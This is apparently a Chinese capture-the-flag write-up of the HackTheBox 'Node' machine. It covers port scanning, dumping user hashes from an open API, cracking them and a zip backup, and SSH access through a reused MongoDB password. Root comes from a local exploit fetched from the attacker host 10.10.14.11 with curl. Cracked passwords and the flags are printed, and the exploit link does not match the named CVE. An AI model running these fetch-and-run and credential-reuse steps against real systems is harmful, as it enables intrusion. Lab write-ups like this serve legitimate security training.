![](https://i-blog.csdnimg.cn/blog_migrate/b9de3da63f3bb302888a4fcbf1c97dce.png)
OS:Linux
DIFFICULTY:Medium
0x01 信息收集
端口信息收集
rustscan -a 10.10.10.58 --ulimit 2000 -r 1-65535 -- -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 2000.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.10.58:22
Open 10.10.10.58:3000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV" on ip 10.10.10.58
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 13:55 CST
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 13:55
Scanning 10.10.10.58 [4 ports]
Completed Ping Scan at 13:55, 0.30s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:55
Completed Parallel DNS resolution of 1 host. at 13:56, 13.01s elapsed
DNS resolution of 1 IPs took 13.01s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 0, TR: 3, CN: 0]
Initiating SYN Stealth Scan at 13:56
Scanning 10.10.10.58 [2 ports]
Discovered open port 22/tcp on 10.10.10.58
Discovered open port 3000/tcp on 10.10.10.58
Completed SYN Stealth Scan at 13:56, 0.32s elapsed (2 total ports)
Initiating Service scan at 13:56
Scanning 2 services on 10.10.10.58
Completed Service scan at 13:56, 11.82s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.58.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:56
Completed NSE at 13:56, 1.71s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:56
Completed NSE at 13:56, 1.18s elapsed
Nmap scan report for 10.10.10.58
Host is up, received echo-reply ttl 63 (0.27s latency).
Scanned at 2023-04-13 13:56:06 CST for 15s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open http syn-ack ttl 63 Node.js Express framework
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.66 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
根据端口指纹信息查询历史漏洞
未发现有用的信息
searchsploit Node.js Express framework
Express是一个最小的,灵活的Node.js Web应用程序框架,它提供了一套强大的功能来开发Web和移动应用程序。
Web服务信息收集
根据网站中提供的信息,MyPlace似乎是一个社交媒体平台,包含登录页面
查看网站前端源代码,暂未发现有用信息
通过浏览器开发者工具查找前端JS代码
http://10.10.10.58:3000/assets/js/app/app.js
http://10.10.10.58:3000/assets/js/app/controllers/admin.js
http://10.10.10.58:3000/assets/js/app/controllers/home.js
http://10.10.10.58:3000/assets/js/app/controllers/login.js
http://10.10.10.58:3000/assets/js/app/controllers/profile.js
在JS中发现以下路径
/api/admin/backup
/api/session
/api/users/
/api/users/latest
/api/session/authenticate
/admin
/partials/home.html
/partials/profile.html
/partials/login.html
/partials/admin.html
分别访问后,发现以下内容:
通过以下接口可以获取当前系统所用的用户和加密后的用户密码信息,得到三个普通用户的信息tom
、mark
、rastating
,和一个管理员用户myP14ceAdm1nAcc0uNT
[
{
"_id": "59a7365b98aa325cc03ee51c",
"username": "myP14ceAdm1nAcc0uNT",
"password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
"is_admin": true
},
{
"_id": "59a7368398aa325cc03ee51d",
"username": "tom",
"password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin": false
},
{
"_id": "59a7368e98aa325cc03ee51e",
"username": "mark",
"password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin": false
},
{
"_id": "59aa9781cced6f1d1490fce9",
"username": "rastating",
"password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin": false
}
]
通过cmd5网站查询密码对应的明文信息,结果如下
myP14ceAdm1nAcc0uNT - manchester
tom - spongebob
mark - snowflake
rastating - 未查询到明文
其他接口和页面:暂未发现有用信息
页面中的内容表示当前系统目前该平台仍在开发阶段,因此注册已关闭,但用户可以浏览现有用户的个人资料
页面中的内容表示该网页中用户的个人简介还没有填写完整,稍后再来了解更多关于该用户({{user.username}})的信息
页面中的内容表示:该系统目前仅对管理员开放,普通用户还不能使用它的所有功能。但是,很快就会推出标准用户功能,并可以进行测试
该页面中有一个Download Backup
的按钮,但是点击后没有反应
http://10.10.10.58:3000/partials/admin.html
使用Wappalyzer进行指纹识别,发现网站的编程语言是Node.js,Web框架为Express
目录扫描
未发现有用信息
dirsearch -u http://10.10.10.58:3000/ -w /usr/share/wordlists/dirb/big.txt -t 200
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 20469
Output File: /root/.dirsearch/reports/10.10.10.58-3000/-_23-04-13_14-45-22.txt
Error Log: /root/.dirsearch/logs/errors-23-04-13_14-45-22.log
Target: http://10.10.10.58:3000/
[14:45:23] Starting:
[14:45:39] 301 - 171B - /assets -> /assets/
[14:46:47] 301 - 175B - /partials -> /partials/
[14:47:24] 301 - 173B - /uploads -> /uploads/
[14:47:26] 301 - 171B - /vendor -> /vendor/
0x02 漏洞利用
根据信息收集发现的账号密码登录到系统中
myP14ceAdm1nAcc0uNT - manchester
tom - spongebob
mark - snowflake
rastating - 未查询到明文
使用普通用户tom
登录后没有发现可利用的信息
使用管理员myP14ceAdm1nAcc0uNT
登录后,页面可以直接下载备份文件
http://10.10.10.58:3000/api/admin/backup
直接cat发现内容使用了base64编码
执行解码后发现内容中包含乱码和文件路径
cat myplace.backup | base64 -d
根据第一行的PK
判断该文件为zip压缩格式
文件开头是 “PK”,通常意味着它是 ZIP 压缩文件格式。ZIP 格式最初由菲尔·卡茨创建,这个名称源于他的公司名字 Phil Katz’s PKWARE,因此所有 ZIP 文件都以 PK 开始。
执行以下命令将解码后的内容重定向到myplace.zip
中,然后进行解压缩,结果发现存在解压密码
cat myplace.backup | base64 -d > myplace.zip
unzip myplace.zip
使用以下命令爆破zip的密码,得到密码为:magicword
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip
再次进行解压
解压后发现包含了多级文件夹和文件,手动搜索线索效率很低
使用grep
命令可以根据关键字查询进行快速查询
搜索常规的关键词,分析搜索结果后暂未发现敏感信息,不过在这些文件的路径上我发现大部分都和mongodb
有关系
grep -rE "(username|uname|password|pwd)" .
接下来,加入mongo关键词再次进行查找,果然发现了mongodb的账号和密码
grep -rE "(mongo|password|passwd|pwd:|username:)" .
mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace
尝试通过mongodb-clients
进行连接发现是连接不上的,其实在最开始端口扫描时就没有扫出来这个端口连接不上也正常
apt-get install -y mongodb-clients
mongo "mongodb://mark:5AYRft73VtFpc84k@10.10.10.58:27017/myplace?authMechanism=DEFAULT&authSource=myplace"
柳暗花明又一村
继续翻找文件后没有新的发现,此时想到了密码复用,尝试后竟然登录成功了
sshpass -p '5AYRft73VtFpc84k' ssh mark@10.10.10.58 -o StrictHostKeyChecking=no
sshpass 是一个用于非交互式 ssh 登录的工具,它可以让你在命令行中直接提供密码,而不需要交互式输入,首次登录时使用sshpass会无法登录成功,因为ssh 会提示你确认服务器的身份。这是因为 ssh 会检查服务器的公钥是否已经保存在本地的
known_hosts
文件中,如果没有需要用户确认输入yes或no,通过-o StrictHostKeyChecking=no
选项来禁用服务器身份验证可以直接登录成功。不过,禁用服务器身份验证可能会带来安全风险。如果你连接到一个被攻击者控制的服务器,攻击者可能会利用中间人攻击来窃取你的信息。因此,建议只在安全的环境中禁用服务器身份验证。
尝试获取user的flag,发现当前用户的权限不够,那只能先去提权了
find / -name "user.txt"
cat /home/tom/user.txt
0x03 权限提升
使用linpeas.sh
进行信息收集
# 本地开启http服务
python3 -m http.server 1111
# 在靶机中执行以下命令下载linpeas.sh
curl http://10.10.14.11:1111/linpeas.sh -o /tmp/linpeas.sh
# 添加可执行权限
chmod +x /tmp/linpeas.sh
# 运行
cd /tmp
./linpeas.sh
根据扫描结果,使用CVE-2021-4034
进行提权
执行以下命令查看是否存在gcc编译环境
gcc --version
将exp下载至靶机中并进行编译
exp:https://www.exploit-db.com/download/40839
# 下载
curl http://10.10.14.11:1111/CVE-2021-4034.tar.gz -o /tmp/CVE-2021-4034.tar.gz
# 解压
tar -xzvf CVE-2021-4034.tar.gz
# 编译
make
# 运行exp
./cve-2021-4034
获得user和root的flag
cat /home/tom/user.txt
flag: d6d98ed59e9259f1512c2412aff92dd8
cat /root/root.txt
flag: c3b80cb07298bb4f7ff32769efdd6f24